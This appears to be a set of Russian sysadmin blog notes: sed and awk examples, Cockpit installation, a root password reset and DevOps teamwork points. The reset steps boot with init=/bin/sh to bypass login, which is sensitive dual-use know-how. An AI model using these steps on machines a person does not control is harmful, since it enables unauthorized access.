/Jones/p - вывести строки, содержащие "Jones" (с ключом -n)
s/Windows/Linux/ - в каждой строке, заменить первое встретившееся слово "Windows" на слово "Linux"
s/BSOD/stability/g - в каждой строке, заменить все встретившиеся слова "BSOD" на "stability"
s/ *$//	- удалить все пробелы в конце каждой строки
s/00*/0/g - заменить все последовательности ведущих нулей одним символом "0"
/GUI/d - удалить все строки, содержащие "GUI"
s/GUI//g - удалить все найденные "GUI", оставляя остальную часть строки без изменений
--------------------

sort

sort file1 file2 - вывести отсортированное содержимое двух файлов
sort file1 file2 | uniq - вывести отсортированное содержимое двух файлов исключая повторные значения
sort file1 file2 | uniq -u -вывести уникальные значения из отсортированного содержимого двух файлов 
sort file1 file2 | uniq -d - вывести только повторяющиеся значения из отсортированного содержимого двух файлов 

Примеры работы с cut, sort, unic, sed, awk, tr


cat -n file1  - вывести содержимое файла, нумеруя выводимые строки
cat example.txt | awk 'NR%2==1' - вывести только не четные строки файла


cat zxc.csv | cut -f 3 -d";" | sort | uniq

Поясним про (cut -f 3 -d";") в данном примере: 
(-f 3) выбор столбца 3
(-d";")  выбор разделителя (;)
Поясним про (sort), он не обходим что бы работа (uniq) была выполнена правильно 
Поясним про unic - покажет уникальные значения

cat zxc.csv | sort | uniq | cut -d ";" -f1,3 | sed "s/;/ /g"
Поясним про (sort) - выполняет сортировку
Поясним про (unic) - покажет уникальные значения
Поясним про (cut -d ";" -f1,3) в данном примере: 
(-f1,3) выбор столбца 3,4
(-d";")  выбор разделителя (;)
Поясним про (sed "s/;/ /g"), тут выполняется поиск символа ";" и замена на символ пробела " "

cat zxc.csv | sort | uniq | cut -d ";" -f1,3 | sed "s/;/ /g" > zxc2.txt - выполняем  (sort,unic,cut,sed) и сохранение в файл zxc2.txt

sed -i 's/printer/robot/g' zxc2.txt - ищем в файле (zxc2.txt) слово (printer) меняем его на (robot)
sed -i 's/robot/slon/1' zxc2.txt - ищем в файле (zxc2.txt) слово (robot) меняем его на (slon)

awk -F ';' '{ print $1,$3 }' zxc.csv  | sort | uniq - с помощью (awk -F ';' '{ print $1,$3 }' zxc.csv ) выводим на экран 1 и 2 столбцы из файла zxc.csv, сортируем, показываем уникальные строки 


cat zxc.csv | sed -e 's/;/ /g' | cut -d ' ' -f 1,3  | sort | uniq

cat zxc.csv | awk -F';' '{print $1,$3}' | sort | uniq

cat zxc.csv | sed -e 's/;/ /g' | cut -d ' ' -f 1,3  | sort | uniq

cat zxc1.csv  | sed -e '{s/-//g}'  -e '{s/(//g}' -e 's/)//g' -e '{s/+//g}' -e '{s/ //g}' -e '{s/,/ /}'

cat zxc.csv  | awk -F ';' '{print $1,$3}' | sort | uniq

cat zxc.csv | cut -f 1,3 -d ';' | sed 's/;/ /g' | sort | uniq

cat zxc.csv | cut -f 1,3 -d ';' | tr ';' ' ' | sort | uniq

history | cut -c 8-120

ps -uax | awk -F ' ' '{print $1,$2,$11}'

ls -latr | awk -F ' ' '{print $3,$9}'

ls -hlatr | awk -F ' ' '{print $5,$3,$9}' | grep M | sort -u

Регистр:

echo 'word' | tr '[:lower:]' '[:upper:]' - перевести символы нижнего регистра в верхний
echo 'word' | tr '[:upper:]' '[:lower:]' - перевести символы верхнего регистра в нижний 

Ещё один пример достать нужное

1.txt
-----
mv: cannot stat '/etc/bareos/bareos-dir.d/catalog': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/director': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/messages': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/user': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/fileset': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/client': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/job': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/jobdefs': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/pool': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/schedule': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/storage': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/use': No such file or directory
----

Достаем серединку:
cat 1.txt | cut -c `echo "mv: cannot stat " | wc -c`-`echo "mv: cannot stat '/etc/bareos/bareos-dir.d/schedule':"| wc -c` | sed -e "s/'//g" -e 's/:.*//'

cat 1.txt | cut -d "'" -f 2
cat 1.txt | awk -F"'" {print $2}



awk вставка текста в начало / конец строки

cat file.txt | awk '{print "xxx " $0}'
cat file.txt | awk '{print $0 " xxx"}'
cat file.txt | awk '{print "xxx " $0 " xxx"}'

cat file.txt | awk '{print $1}' | awk '{print "xxx " $0}'

AWK. Пример с пингом

Пингуем хосты с помощью программы fping и результат записываем в файл test_ping.txt
for x in `seq 2 254`; do fping -c1 192.168.1.${x}; done >> test_ping.txt
Парсим файл и там где хост пинговался в вывод добавляем ok.
cat test_ping.txt | awk "/ 0% loss/" | awk -F ':'  '{print $1 "ok"}'

sed еще примеры:

sed -n /root/p /etc/passwd - вывести строку содержавшие слово root, работает аналогично "grep root /etc/passwd"
sed 10q /etc/passwd - вывести первых 10 строк, работает аналогично head
sed -i.orig s/^alias/#alias/ file_name - заменить все строки которые начинаются на слово alias на #alias, при этом будет создана резервная копия file_name.orig
sed -i.orig /^alias/s/^/#/ - сначала ищем все слова которые начинаются на alias, потом заменяем символ начало строки "^" на решётку "#" 
sed -e /^#/d -e '/^$/d' file_name - показываем файл без комментариев и пустых строк

awk (оук?) еще примеры:

awk '{print "Hello"}' - если дальше продолжать нажимать Enter, то будет выводится Hello


Чем отличается перенаправление в cat
"EOF" - слова на которое завершится вставка текста
cat << "EOF" > filename1 - при такой передаче есть возможность использовать и передавать переменные bash как своим так и встроенные  $1,$2, $?, $i
cat  > filename1 << "EOF" - такая конструкция исключает передачу переменных, файл будет передан как есть 

Пример создаём файл filename1
cat << "EOF" > filename1
{
Hello
}
EOF
awk -f filename1 - открыв таким образом файл filename1 и если там будет скрипт выше, то мы получим эффект команды awk '{print "Hello"}'


awk /^root/{print} /etc/passwd - аналогично grep, покажет строку которая содержит слово root
ip a | awk /link/{print} - напечатать строку которая содержит слово link
ip a | awk '{print}NR==3{exit}' - напечатать 3 строки, аналогично "ip a |head -n 3"
ip a | awk 'END{print NR}' - аналогично команды "ip a | wc -l"
ip a | awk '{print $2}' - вывести второй столбец
ip a | awk '/^4/{print $1}' - вывести из первого столбца то что начинается на 4


Немного про спец символы в awk
$0 - весь файл (в баше это сам файл)
$1 - первый аргумент, выведет слова первой строки
...
$9 - девятый аргумент, выведет слова девятой строки
awk '{print $0}' /etc/passwd - будет выведен весь файл, эффект как от cat /etc/passwd
awk -F:  '{print $1,$3}' /etc/passwd - выведет первый и 3 столбик из файла 
awk -F: '/root/{print $1, $4, $7}' /etc/passwd - найти строку содержанию слово root и вывести 1,4,7 столбики

Пример с заменой
echo "one two tree nice 1" | awk '{$1="1"; $3="3"; $5="five"; print $0}'

Параметры BEGIN и END
Пример скрипта для awk
cat > filetest << "EOF"
BEGIN { print "Start" }
{print $1}
END { print "The end" }
EOF
Пример использования скрипта выше:
awk -F: -f filetest /etc/passwd

Еще один пример с BEGIN и END
FS: аналог awk -F:
awk 'BEGIN { print  "login \t home"; FS=":"} {print $1 "\t" $6} END {print "END file"}' /etc/passwd

Еще один пример BEGIN и END с заменой разделителя ":" на "%"
awk 'BEGIN{FS=":"; OFS="%"} {print $1, $4, $3}' /etc/passwd


Элементы ARGC(C- коунтер) и ARGV(V- валею) 
awk 'BEGIN{print ARGC, ARGV[0]}'
awk 'BEGIN{print ARGC, ARGV[1]}' /etc/passwd
awk 'BEGIN{print ARGC, ARGV[1], ARGV[0]}' /etc/passwd

Элемент ENVIRON
env - тут можно увидеть все текущие переменные
awk 'BEGIN{print ENVIRON["HOME"]}'
awk 'BEGIN{print ENVIRON["PATH"]}'

awk \ условия \ циклы \ if \ else \ for

Пример if для awk
cat > test << "EOF"
{
if ($1 < 2)
{
print 1
}
else if ($1 < 22)
{
print 2
}
else
{
print 0
}
}
EOF
Используем:
awk -f test - ну и вводим наше число и получаем результат

Пример for
awk 'BEGIN{ for (i=1; i<11; i++){print i}}'
awk 'BEGIN{ for (i=1; i<11; i++){if(i==5) break; print i}}'
awk 'BEGIN{ i=10 ; while (i>0){ print i; i-- }}'
Рубрики
разное

cockpit / web interface / веб интерфейс / web console / kvm / docker / управление

Установка для debian/ubuntu

apt update
apt upgrade
apt install cockpit - установка cockpit
apt install cockpit-machines - установка модуля управления виртуальными машинами KVM
apt install cockpit-docker - установка модуля управления контейнерами docker
apt install  cockpit-dashboard - установка модуля dashboard 
apt install  cockpit-storaged - установка модуля storaged
apt install  cockpit-system - установка модуля system (обычно устанавливается по умолчанию)
apt search cockpit - поискать какие еще есть пакеты cockpit


Установка для CentOS

sudo yum install cockpit
sudo yum install cockpit-machines
sudo yum install cockpit-docker
sudo systemctl enable --now cockpit.socket

при появлении ошибок демон cockpit-tls:
yum install policycoreutils-python-utils
yum  reinstall cockpit-ws


https://IP:9090 - панель управления будет доступна по IP и порту 9090






Рубрики
разное

Как сбросить пароль пользователя linux / root / debian / centos /

Полезное видео


debian / ubuntu /kali

!!! На убунте вообще может не быть пароля root, тогда можно зайти просто в консоль восстановления и поменять пароль командой passwd
0. При загрузке выбираем recovery mode и жмем E
1. Ищем строку linux
# linux /boot/vmlinuz-4.9.0-8-amd64 root=UUID=dbebbaa9-ef5b-4590-97fe-b0b953e74d9b ro  - выглидит примерно так
2. В конец дописываем init=/bin/sh
# linux /boot/vmlinuz-4.9.0-8-amd64 root=UUID=dbebbaa9-ef5b-4590-97fe-b0b953e74d9b ro  init=/bin/sh - должно получится примерно это
3. Далее жмем F10 или Ctrl+x загружаемся в консоль восстановления
4. Смотрим как у нас смонтировался /
grep '\W/\W' /proc/mounts
5. Перемонтируем файловую систему, (/) что бы можно было записывать
mount -o remount,rw /
6. Теперь можно сбросить пароль пользователю например vasya
passwd vasya
7.  Можно перезагрузить систему или продолжить загрузку 
exec /sbin/init

centos 7 / fedora

!!! Есть не большое отличие. selinux....
0. При загрузке выбираем recovery mode и жмем E
1. Ищем строку linux
# linux /boot/vmlinuz-4.9.0-8-amd64 root=UUID=dbebbaa9-ef5b-4590-97fe-b0b953e74d9b ro  - выглидит примерно так
2. В конец дописываем init=/bin/sh
# linux /boot/vmlinuz-4.9.0-8-amd64 root=UUID=dbebbaa9-ef5b-4590-97fe-b0b953e74d9b ro  init=/bin/sh - должно получится примерно это
3. Далее жмем F10 или Ctrl+x загружаемся в консоль восстановления
4. Смотрим как у нас смонтировался /
grep '\W/\W' /proc/mounts
5. Перемонтируем файловую систему, (/) что бы можно было записывать
mount -o remount,rw /
6. Загружаем политики selinux
/sbin/load_policy -i
7. Теперь можно сбросить пароль пользователю например vasya
passwd vasya
8.  Можно перезагрузить систему или продолжить загрузку 
exec /sbin/init
Рубрики
разное

Окружение для работы

shell

• sh
• bash
• dash
• zsh (oh-my-zsh)

Текстовый редактор

• Visual Studio Code   https://code.visualstudio.com/
• Atom                 https://atom.io/
• Sublime              https://www.sublimetext.com/
• Vim                  https://b14esh.com/category/nix/vim

Графический клиент для работы с Git

 
• SourceTree
• GitKraken
• GitUp
• Atom, VS Code

Дополнительные компоненты

• Ansible, ChefDK, Terraform
• Python, Ruby, Go + libraries
• Docker, Vagrant
• gcloud, awscli

Командный чат

• Slack
• HipChat
• Campfire
• IRC
• и т.д.

ChatOps

• Модель командного взаимодействия, которую приписывают GitHub
• Максимальная интеграция чата с другими сервисами (СI, Monitoring, Issue tracking)
• Бот (Hubot, Err, Lita) выполняет команды из чата
• Отказ от терминала и браузера - вся работа и взаимодействие происходят в общем чате

Плюсы ChatOps
• Видимость происходящих событий
• Общий контекст
• Командное взаимодействие и обучение
• Скорость распространения информации
• Мгновенная документация процессов
• Стандартизация и автоматизация выполнения задач
• Повышение безопасности и контроля
• Больше увлеченность людей в общий процесс
• More fun :)

Правильные вопросы

Когда нет понимания рабочего процесса ...
• Сколько времени нам нужно, чтобы разработать и запустить новую фичу?
• Почему мы ничего не успеваем в срок?
• Кто чем занимается?
• Мне нужна виртуальная машина, кого я могу попросить помочь?
• За какую задачу мне стоит взяться в первую очередь? Кого мне об этом спросить?

Что нам нужно?
• Визуализация рабочего процесса
• Правила работы
• Улучшение и кастомизация под себя

Причины плохой производительности
• Неправильная расстановка приоритетов
• Неравномерное распределение работы (bottlenecks)
• Multitasking многозадачность не приводит ни к чему хорошему

Pull система 
• Новые задачи сохраняются в общую очередь
• Освободившиеся берут на себя новую задачу
• Можно планировать время выполнения задач
• Равномерное распределение нагрузки и занятость всех работников
• Задачи выполняются в порядке общих приоритетов
• Анализ задач и возможность их корректировки

Push система 
• Задачи даются без учета текущей нагрузки
• Приоритет определяется рангом попросившего
• Невозможность предсказать, когда работа будет выполнена
• Фокус на личные цели, а не на общие цели компании
• Постоянный стресс и куча незаконченной работы

Визуализация работы
Явное лучше неявного
Механизмы обратной связи встроены в рабочий процесс (ChatOps, Standups, WIP)
Необходимость выравнивания нагрузки